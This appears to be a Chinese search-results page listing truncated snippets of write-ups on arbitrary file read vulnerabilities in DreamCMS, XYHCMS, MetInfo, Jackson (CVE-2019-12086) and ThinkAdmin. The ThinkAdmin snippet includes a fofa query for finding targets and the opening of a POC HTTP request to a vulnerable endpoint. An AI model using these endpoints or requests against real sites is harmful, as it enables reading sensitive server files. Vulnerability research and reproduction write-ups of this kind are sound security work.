  • 我的第一个CNVD编号:CNVD-2020-10212 实验环境:win7 专业版 梦想cms v1.4 ...发现$dir直接通过GET方式进行获取,没有进行过滤,且直接拼接进文件内容请求链接。 漏洞链接为: xxx.com/admin.php?m=Template&a=ed
  •  这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。 0x01 漏洞实例一 环境搭建: XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:h...
  • MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件漏洞影响MetInfo 6.0.0MetInfo 6.1.0漏洞分析看到\MetInfo6\app\system\include\module\old_...
  • 在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。环境搭建引入jar包:CVE-2019-12086 POC首先创...
  • readfile函数(xx) 控制xx里面的内容就可以实现任意读取
  • 攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件漏洞复现 fofa搜索语句 app="ThinkAdmin" POC POST /admin/login.html/?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Content-Length: ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 19,537
精华内容 7,814
关键字:

任意文件读取漏洞函数